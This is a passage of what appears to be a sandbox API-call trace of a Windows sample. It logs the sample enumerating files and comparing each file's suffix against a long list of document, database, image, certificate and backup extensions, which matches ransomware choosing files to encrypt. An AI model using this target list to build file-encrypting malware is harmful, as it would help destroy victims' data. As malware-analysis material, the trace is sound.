lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".anim") returned 5 [0185.346] lstrcmpiW (lpString1=".anim", lpString2="2.etl") returned -1 [0185.346] lstrlenW (lpString=".arw") returned 4 [0185.346] lstrcmpiW (lpString1=".arw", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".as") returned 3 [0185.346] lstrcmpiW (lpString1=".as", lpString2="etl") returned -1 [0185.346] lstrlenW (lpString=".asa") returned 4 [0185.346] lstrcmpiW (lpString1=".asa", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".asc") returned 4 [0185.347] lstrcmpiW (lpString1=".asc", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".ascx") returned 5 [0185.347] lstrcmpiW (lpString1=".ascx", lpString2="2.etl") returned -1 [0185.347] lstrlenW (lpString=".asm") returned 4 [0185.347] lstrcmpiW (lpString1=".asm", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".asmx") returned 5 [0185.347] lstrcmpiW (lpString1=".asmx", lpString2="2.etl") returned -1 [0185.347] lstrlenW (lpString=".asp") returned 4 [0185.347] lstrcmpiW (lpString1=".asp", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".aspx") returned 5 [0185.347] lstrcmpiW (lpString1=".aspx", lpString2="2.etl") returned -1 [0185.347] lstrlenW (lpString=".asr") returned 4 [0185.347] lstrcmpiW (lpString1=".asr", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".asx") returned 4 [0185.347] lstrcmpiW (lpString1=".asx", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".avi") returned 4 [0185.347] lstrcmpiW (lpString1=".avi", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".avs") returned 4 [0185.347] lstrcmpiW (lpString1=".avs", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".backup") returned 7 [0185.347] lstrcmpiW (lpString1=".backup", lpString2="002.etl") returned -1 [0185.347] lstrlenW (lpString=".bak") returned 4 [0185.347] lstrcmpiW (lpString1=".bak", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".bay") returned 4 [0185.347] lstrcmpiW (lpString1=".bay", lpString2=".etl") returned -1 [0185.347] lstrlenW (lpString=".bd") returned 3 [0185.347] lstrcmpiW (lpString1=".bd", lpString2="etl") returned -1 [0185.347] lstrlenW (lpString=".bin") returned 4 [0185.347] lstrcmpiW (lpString1=".bin", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".bmp") returned 4 [0185.348] lstrcmpiW (lpString1=".bmp", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".bz2") returned 4 [0185.348] lstrcmpiW (lpString1=".bz2", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".c") returned 2 [0185.348] lstrcmpiW (lpString1=".c", lpString2="tl") returned -1 [0185.348] lstrlenW (lpString=".cdr") returned 4 [0185.348] lstrcmpiW (lpString1=".cdr", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".cer") returned 4 [0185.348] lstrcmpiW (lpString1=".cer", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".cf") returned 3 [0185.348] lstrcmpiW (lpString1=".cf", lpString2="etl") returned -1 [0185.348] lstrlenW (lpString=".cfc") returned 4 [0185.348] lstrcmpiW (lpString1=".cfc", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".cfm") returned 4 [0185.348] lstrcmpiW (lpString1=".cfm", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".cfml") returned 5 [0185.348] lstrcmpiW (lpString1=".cfml", lpString2="2.etl") returned -1 [0185.348] lstrlenW (lpString=".cfu") returned 4 [0185.348] lstrcmpiW (lpString1=".cfu", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".chm") returned 4 [0185.348] lstrcmpiW (lpString1=".chm", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".cin") returned 4 [0185.348] lstrcmpiW (lpString1=".cin", lpString2=".etl") returned -1 [0185.348] lstrlenW (lpString=".class") returned 6 [0185.348] lstrcmpiW (lpString1=".class", lpString2="02.etl") returned -1 [0185.348] lstrlenW (lpString=".clx") returned 4 [0185.348] lstrcmpiW (lpString1=".clx", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".config") returned 7 [0185.349] lstrcmpiW (lpString1=".config", lpString2="002.etl") returned -1 [0185.349] lstrlenW (lpString=".cpp") returned 4 [0185.349] lstrcmpiW (lpString1=".cpp", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".cr2") returned 4 [0185.349] lstrcmpiW (lpString1=".cr2", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".crt") returned 4 [0185.349] lstrcmpiW (lpString1=".crt", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".crw") returned 4 [0185.349] lstrcmpiW (lpString1=".crw", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".cs") returned 3 [0185.349] lstrcmpiW (lpString1=".cs", lpString2="etl") returned -1 [0185.349] lstrlenW (lpString=".css") returned 4 [0185.349] lstrcmpiW (lpString1=".css", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".csv") returned 4 [0185.349] lstrcmpiW (lpString1=".csv", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".cub") returned 4 [0185.349] lstrcmpiW (lpString1=".cub", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".dae") returned 4 [0185.349] lstrcmpiW (lpString1=".dae", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".dat") returned 4 [0185.349] lstrcmpiW (lpString1=".dat", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".db") returned 3 [0185.349] lstrcmpiW (lpString1=".db", lpString2="etl") returned -1 [0185.349] lstrlenW (lpString=".dbf") returned 4 [0185.349] lstrcmpiW (lpString1=".dbf", lpString2=".etl") returned -1 [0185.349] lstrlenW (lpString=".dbx") returned 4 [0185.350] lstrcmpiW (lpString1=".dbx", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".dc3") returned 4 [0185.350] lstrcmpiW (lpString1=".dc3", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".dcm") returned 4 [0185.350] lstrcmpiW (lpString1=".dcm", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".dcr") returned 4 [0185.350] lstrcmpiW (lpString1=".dcr", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".der") returned 4 [0185.350] lstrcmpiW (lpString1=".der", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".dib") returned 4 [0185.350] lstrcmpiW (lpString1=".dib", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".dic") returned 4 [0185.350] lstrcmpiW (lpString1=".dic", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".dif") returned 4 [0185.350] lstrcmpiW (lpString1=".dif", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".divx") returned 5 [0185.350] lstrcmpiW (lpString1=".divx", lpString2="2.etl") returned -1 [0185.350] lstrlenW (lpString=".djvu") returned 5 [0185.350] lstrcmpiW (lpString1=".djvu", lpString2="2.etl") returned -1 [0185.350] lstrlenW (lpString=".dng") returned 4 [0185.350] lstrcmpiW (lpString1=".dng", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".doc") returned 4 [0185.350] lstrcmpiW (lpString1=".doc", lpString2=".etl") returned -1 [0185.350] lstrlenW (lpString=".docm") returned 5 [0185.350] lstrcmpiW (lpString1=".docm", lpString2="2.etl") returned -1 [0185.350] lstrlenW (lpString=".docx") returned 5 [0185.350] lstrcmpiW (lpString1=".docx", lpString2="2.etl") returned -1 [0185.350] lstrlenW (lpString=".dot") returned 4 [0185.350] lstrcmpiW (lpString1=".dot", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dotm") returned 5 [0185.351] lstrcmpiW (lpString1=".dotm", lpString2="2.etl") returned -1 [0185.351] lstrlenW (lpString=".dotx") returned 5 [0185.351] lstrcmpiW (lpString1=".dotx", lpString2="2.etl") returned -1 [0185.351] lstrlenW (lpString=".dpx") returned 4 [0185.351] lstrcmpiW (lpString1=".dpx", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dqy") returned 4 [0185.351] lstrcmpiW (lpString1=".dqy", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dsn") returned 4 [0185.351] lstrcmpiW (lpString1=".dsn", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dt") returned 3 [0185.351] lstrcmpiW (lpString1=".dt", lpString2="etl") returned -1 [0185.351] lstrlenW (lpString=".dtd") returned 4 [0185.351] lstrcmpiW (lpString1=".dtd", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dwg") returned 4 [0185.351] lstrcmpiW (lpString1=".dwg", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dwt") returned 4 [0185.351] lstrcmpiW (lpString1=".dwt", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".dx") returned 3 [0185.351] lstrcmpiW (lpString1=".dx", lpString2="etl") returned -1 [0185.351] lstrlenW (lpString=".dxf") returned 4 [0185.351] lstrcmpiW (lpString1=".dxf", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".edml") returned 5 [0185.351] lstrcmpiW (lpString1=".edml", lpString2="2.etl") returned -1 [0185.351] lstrlenW (lpString=".efd") returned 4 [0185.351] lstrcmpiW (lpString1=".efd", lpString2=".etl") returned -1 [0185.351] lstrlenW (lpString=".elf") returned 4 [0185.351] lstrcmpiW (lpString1=".elf", lpString2=".etl") returned -1 [0185.352] lstrlenW (lpString=".emf") returned 4 [0185.352] lstrcmpiW (lpString1=".emf", lpString2=".etl") returned -1 [0185.352] lstrlenW (lpString=".emz") returned 4 [0185.352] lstrcmpiW (lpString1=".emz", lpString2=".etl") returned -1 [0185.352] lstrlenW (lpString=".epf") returned 4 [0185.352] lstrcmpiW (lpString1=".epf", lpString2=".etl") returned -1 [0185.352] lstrlenW (lpString=".eps") returned 4 [0185.352] lstrcmpiW (lpString1=".eps", lpString2=".etl") returned -1 [0185.352] lstrlenW (lpString=".epsf") returned 5 [0185.352] lstrcmpiW (lpString1=".epsf", lpString2="2.etl") returned -1 [0185.352] lstrlenW (lpString=".epsp") returned 5 [0185.352] lstrcmpiW (lpString1=".epsp", lpString2="2.etl") returned -1 [0185.352] lstrlenW (lpString=".erf") returned 4 [0185.352] lstrcmpiW (lpString1=".erf", lpString2=".etl") returned -1 [0185.352] lstrlenW (lpString=".exr") returned 4 [0185.352] lstrcmpiW (lpString1=".exr", lpString2=".etl") returned 1 [0185.352] lstrlenW (lpString=".f4v") returned 4 [0185.352] lstrcmpiW (lpString1=".f4v", lpString2=".etl") returned 1 [0185.352] lstrlenW (lpString=".fido") returned 5 [0185.352] lstrcmpiW (lpString1=".fido", lpString2="2.etl") returned -1 [0185.352] lstrlenW (lpString=".flm") returned 4 [0185.352] lstrcmpiW (lpString1=".flm", lpString2=".etl") returned 1 [0185.352] lstrlenW (lpString=".flv") returned 4 [0185.352] lstrcmpiW (lpString1=".flv", lpString2=".etl") returned 1 [0185.352] lstrlenW (lpString=".frm") returned 4 [0185.352] lstrcmpiW (lpString1=".frm", lpString2=".etl") returned 1 [0185.352] lstrlenW (lpString=".fxg") returned 4 [0185.352] lstrcmpiW (lpString1=".fxg", lpString2=".etl") returned 1 [0185.352] lstrlenW (lpString=".geo") returned 4 [0185.352] lstrcmpiW (lpString1=".geo", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".gif") returned 4 [0185.353] lstrcmpiW (lpString1=".gif", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".grs") returned 4 [0185.353] lstrcmpiW (lpString1=".grs", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".gz") returned 3 [0185.353] lstrcmpiW (lpString1=".gz", lpString2="etl") returned -1 [0185.353] lstrlenW (lpString=".h") returned 2 [0185.353] lstrcmpiW (lpString1=".h", lpString2="tl") returned -1 [0185.353] lstrlenW (lpString=".hdr") returned 4 [0185.353] lstrcmpiW (lpString1=".hdr", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".hpp") returned 4 [0185.353] lstrcmpiW (lpString1=".hpp", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".hta") returned 4 [0185.353] lstrcmpiW (lpString1=".hta", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".htc") returned 4 [0185.353] lstrcmpiW (lpString1=".htc", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".htm") returned 4 [0185.353] lstrcmpiW (lpString1=".htm", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".html") returned 5 [0185.353] lstrcmpiW (lpString1=".html", lpString2="2.etl") returned -1 [0185.353] lstrlenW (lpString=".icb") returned 4 [0185.353] lstrcmpiW (lpString1=".icb", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".ics") returned 4 [0185.353] lstrcmpiW (lpString1=".ics", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".iff") returned 4 [0185.353] lstrcmpiW (lpString1=".iff", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".inc") returned 4 [0185.353] lstrcmpiW (lpString1=".inc", lpString2=".etl") returned 1 [0185.353] lstrlenW (lpString=".indd") returned 5 [0185.354] lstrcmpiW (lpString1=".indd", lpString2="2.etl") returned -1 [0185.354] lstrlenW (lpString=".ini") returned 4 [0185.354] lstrcmpiW (lpString1=".ini", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".iqy") returned 4 [0185.354] lstrcmpiW (lpString1=".iqy", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".j2c") returned 4 [0185.354] lstrcmpiW (lpString1=".j2c", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".j2k") returned 4 [0185.354] lstrcmpiW (lpString1=".j2k", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".java") returned 5 [0185.354] lstrcmpiW (lpString1=".java", lpString2="2.etl") returned -1 [0185.354] lstrlenW (lpString=".jp2") returned 4 [0185.354] lstrcmpiW (lpString1=".jp2", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".jpc") returned 4 [0185.354] lstrcmpiW (lpString1=".jpc", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".jpe") returned 4 [0185.354] lstrcmpiW (lpString1=".jpe", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".jpeg") returned 5 [0185.354] lstrcmpiW (lpString1=".jpeg", lpString2="2.etl") returned -1 [0185.354] lstrlenW (lpString=".jpf") returned 4 [0185.354] lstrcmpiW (lpString1=".jpf", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".jpg") returned 4 [0185.354] lstrcmpiW (lpString1=".jpg", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".jpx") returned 4 [0185.354] lstrcmpiW (lpString1=".jpx", lpString2=".etl") returned 1 [0185.354] lstrlenW (lpString=".js") returned 3 [0185.354] lstrcmpiW (lpString1=".js", lpString2="etl") returned -1 [0185.354] lstrlenW (lpString=".jsf") returned 4 [0185.354] lstrcmpiW (lpString1=".jsf", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".json") returned 5 [0185.355] lstrcmpiW (lpString1=".json", lpString2="2.etl") returned -1 [0185.355] lstrlenW (lpString=".jsp") returned 4 [0185.355] lstrcmpiW (lpString1=".jsp", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".kdc") returned 4 [0185.355] lstrcmpiW (lpString1=".kdc", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".kmz") returned 4 [0185.355] lstrcmpiW (lpString1=".kmz", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".kwm") returned 4 [0185.355] lstrcmpiW (lpString1=".kwm", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".lasso") returned 6 [0185.355] lstrcmpiW (lpString1=".lasso", lpString2="02.etl") returned -1 [0185.355] lstrlenW (lpString=".lbi") returned 4 [0185.355] lstrcmpiW (lpString1=".lbi", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".lgf") returned 4 [0185.355] lstrcmpiW (lpString1=".lgf", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".lgp") returned 4 [0185.355] lstrcmpiW (lpString1=".lgp", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".log") returned 4 [0185.355] lstrcmpiW (lpString1=".log", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".m1v") returned 4 [0185.355] lstrcmpiW (lpString1=".m1v", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".m4a") returned 4 [0185.355] lstrcmpiW (lpString1=".m4a", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".m4v") returned 4 [0185.355] lstrcmpiW (lpString1=".m4v", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".max") returned 4 [0185.355] lstrcmpiW (lpString1=".max", lpString2=".etl") returned 1 [0185.355] lstrlenW (lpString=".md") returned 3 [0185.356] lstrcmpiW (lpString1=".md", lpString2="etl") returned -1 [0185.356] lstrlenW (lpString=".mda") returned 4 [0185.356] lstrcmpiW (lpString1=".mda", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mdb") returned 4 [0185.356] lstrcmpiW (lpString1=".mdb", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mde") returned 4 [0185.356] lstrcmpiW (lpString1=".mde", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mdf") returned 4 [0185.356] lstrcmpiW (lpString1=".mdf", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mdw") returned 4 [0185.356] lstrcmpiW (lpString1=".mdw", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mef") returned 4 [0185.356] lstrcmpiW (lpString1=".mef", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mft") returned 4 [0185.356] lstrcmpiW (lpString1=".mft", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mfw") returned 4 [0185.356] lstrcmpiW (lpString1=".mfw", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mht") returned 4 [0185.356] lstrcmpiW (lpString1=".mht", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mhtml") returned 6 [0185.356] lstrcmpiW (lpString1=".mhtml", lpString2="02.etl") returned -1 [0185.356] lstrlenW (lpString=".mka") returned 4 [0185.356] lstrcmpiW (lpString1=".mka", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mkidx") returned 6 [0185.356] lstrcmpiW (lpString1=".mkidx", lpString2="02.etl") returned -1 [0185.356] lstrlenW (lpString=".mkv") returned 4 [0185.356] lstrcmpiW (lpString1=".mkv", lpString2=".etl") returned 1 [0185.356] lstrlenW (lpString=".mos") returned 4 [0185.356] lstrcmpiW (lpString1=".mos", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mov") returned 4 [0185.357] lstrcmpiW (lpString1=".mov", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mp3") returned 4 [0185.357] lstrcmpiW (lpString1=".mp3", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mp4") returned 4 [0185.357] lstrcmpiW (lpString1=".mp4", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mpeg") returned 5 [0185.357] lstrcmpiW (lpString1=".mpeg", lpString2="2.etl") returned -1 [0185.357] lstrlenW (lpString=".mpg") returned 4 [0185.357] lstrcmpiW (lpString1=".mpg", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mpv") returned 4 [0185.357] lstrcmpiW (lpString1=".mpv", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mrw") returned 4 [0185.357] lstrcmpiW (lpString1=".mrw", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".msg") returned 4 [0185.357] lstrcmpiW (lpString1=".msg", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".mxl") returned 4 [0185.357] lstrcmpiW (lpString1=".mxl", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".myd") returned 4 [0185.357] lstrcmpiW (lpString1=".myd", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".myi") returned 4 [0185.357] lstrcmpiW (lpString1=".myi", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".nef") returned 4 [0185.357] lstrcmpiW (lpString1=".nef", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".nrw") returned 4 [0185.357] lstrcmpiW (lpString1=".nrw", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".obj") returned 4 [0185.357] lstrcmpiW (lpString1=".obj", lpString2=".etl") returned 1 [0185.357] lstrlenW (lpString=".odb") returned 4 [0185.358] lstrcmpiW (lpString1=".odb", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".odc") returned 4 [0185.358] lstrcmpiW (lpString1=".odc", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".odm") returned 4 [0185.358] lstrcmpiW (lpString1=".odm", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".odp") returned 4 [0185.358] lstrcmpiW (lpString1=".odp", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".ods") returned 4 [0185.358] lstrcmpiW (lpString1=".ods", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".oft") returned 4 [0185.358] lstrcmpiW (lpString1=".oft", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".one") returned 4 [0185.358] lstrcmpiW (lpString1=".one", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".onepkg") returned 7 [0185.358] lstrcmpiW (lpString1=".onepkg", lpString2="002.etl") returned -1 [0185.358] lstrlenW (lpString=".onetoc2") returned 8 [0185.358] lstrcmpiW (lpString1=".onetoc2", lpString2=".002.etl") returned 1 [0185.358] lstrlenW (lpString=".opt") returned 4 [0185.358] lstrcmpiW (lpString1=".opt", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".oqy") returned 4 [0185.358] lstrcmpiW (lpString1=".oqy", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".orf") returned 4 [0185.358] lstrcmpiW (lpString1=".orf", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".p12") returned 4 [0185.358] lstrcmpiW (lpString1=".p12", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".p7b") returned 4 [0185.358] lstrcmpiW (lpString1=".p7b", lpString2=".etl") returned 1 [0185.358] lstrlenW (lpString=".p7c") returned 4 [0185.358] lstrcmpiW (lpString1=".p7c", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pam") returned 4 [0185.359] lstrcmpiW (lpString1=".pam", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pbm") returned 4 [0185.359] lstrcmpiW (lpString1=".pbm", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pct") returned 4 [0185.359] lstrcmpiW (lpString1=".pct", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pcx") returned 4 [0185.359] lstrcmpiW (lpString1=".pcx", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pdd") returned 4 [0185.359] lstrcmpiW (lpString1=".pdd", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pdf") returned 4 [0185.359] lstrcmpiW (lpString1=".pdf", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pdp") returned 4 [0185.359] lstrcmpiW (lpString1=".pdp", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pef") returned 4 [0185.359] lstrcmpiW (lpString1=".pef", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pem") returned 4 [0185.359] lstrcmpiW (lpString1=".pem", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pff") returned 4 [0185.359] lstrcmpiW (lpString1=".pff", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pfm") returned 4 [0185.359] lstrcmpiW (lpString1=".pfm", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pfx") returned 4 [0185.359] lstrcmpiW (lpString1=".pfx", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".pgm") returned 4 [0185.359] lstrcmpiW (lpString1=".pgm", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".php") returned 4 [0185.359] lstrcmpiW (lpString1=".php", lpString2=".etl") returned 1 [0185.359] lstrlenW (lpString=".php3") returned 5 [0185.359] lstrcmpiW (lpString1=".php3", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".php4") returned 5 [0185.360] lstrcmpiW (lpString1=".php4", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".php5") returned 5 [0185.360] lstrcmpiW (lpString1=".php5", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".phtml") returned 6 [0185.360] lstrcmpiW (lpString1=".phtml", lpString2="02.etl") returned -1 [0185.360] lstrlenW (lpString=".pict") returned 5 [0185.360] lstrcmpiW (lpString1=".pict", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".pl") returned 3 [0185.360] lstrcmpiW (lpString1=".pl", lpString2="etl") returned -1 [0185.360] lstrlenW (lpString=".pls") returned 4 [0185.360] lstrcmpiW (lpString1=".pls", lpString2=".etl") returned 1 [0185.360] lstrlenW (lpString=".pm") returned 3 [0185.360] lstrcmpiW (lpString1=".pm", lpString2="etl") returned -1 [0185.360] lstrlenW (lpString=".png") returned 4 [0185.360] lstrcmpiW (lpString1=".png", lpString2=".etl") returned 1 [0185.360] lstrlenW (lpString=".pnm") returned 4 [0185.360] lstrcmpiW (lpString1=".pnm", lpString2=".etl") returned 1 [0185.360] lstrlenW (lpString=".pot") returned 4 [0185.360] lstrcmpiW (lpString1=".pot", lpString2=".etl") returned 1 [0185.360] lstrlenW (lpString=".potm") returned 5 [0185.360] lstrcmpiW (lpString1=".potm", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".potx") returned 5 [0185.360] lstrcmpiW (lpString1=".potx", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".ppa") returned 4 [0185.360] lstrcmpiW (lpString1=".ppa", lpString2=".etl") returned 1 [0185.360] lstrlenW (lpString=".ppam") returned 5 [0185.360] lstrcmpiW (lpString1=".ppam", lpString2="2.etl") returned -1 [0185.360] lstrlenW (lpString=".ppm") returned 4 [0185.360] lstrcmpiW (lpString1=".ppm", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".pps") returned 4 [0185.361] lstrcmpiW (lpString1=".pps", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".ppsm") returned 5 [0185.361] lstrcmpiW (lpString1=".ppsm", lpString2="2.etl") returned -1 [0185.361] lstrlenW (lpString=".ppt") returned 4 [0185.361] lstrcmpiW (lpString1=".ppt", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".pptm") returned 5 [0185.361] lstrcmpiW (lpString1=".pptm", lpString2="2.etl") returned -1 [0185.361] lstrlenW (lpString=".pptx") returned 5 [0185.361] lstrcmpiW (lpString1=".pptx", lpString2="2.etl") returned -1 [0185.361] lstrlenW (lpString=".prn") returned 4 [0185.361] lstrcmpiW (lpString1=".prn", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".ps") returned 3 [0185.361] lstrcmpiW (lpString1=".ps", lpString2="etl") returned -1 [0185.361] lstrlenW (lpString=".psb") returned 4 [0185.361] lstrcmpiW (lpString1=".psb", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".psd") returned 4 [0185.361] lstrcmpiW (lpString1=".psd", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".pst") returned 4 [0185.361] lstrcmpiW (lpString1=".pst", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".ptx") returned 4 [0185.361] lstrcmpiW (lpString1=".ptx", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".pub") returned 4 [0185.361] lstrcmpiW (lpString1=".pub", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".pwm") returned 4 [0185.361] lstrcmpiW (lpString1=".pwm", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".pxr") returned 4 [0185.361] lstrcmpiW (lpString1=".pxr", lpString2=".etl") returned 1 [0185.361] lstrlenW (lpString=".py") returned 3 [0185.362] lstrcmpiW (lpString1=".py", lpString2="etl") returned -1 [0185.362] lstrlenW (lpString=".qt") returned 3 [0185.362] lstrcmpiW (lpString1=".qt", lpString2="etl") returned -1 [0185.362] lstrlenW (lpString=".r3d") returned 4 [0185.362] lstrcmpiW (lpString1=".r3d", lpString2=".etl") returned 1 [0185.362] lstrlenW (lpString=".raf") returned 4 [0185.362] lstrcmpiW (lpString1=".raf", lpString2=".etl") returned 1 [0185.362] lstrlenW (lpString=".rar") returned 4 [0185.362] lstrcmpiW (lpString1=".rar", lpString2=".etl") returned 1 [0185.362] lstrlenW (lpString=".raw") returned 4 [0185.362] lstrcmpiW (lpString1=".raw", lpString2=".etl") returned 1 [0185.362] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, 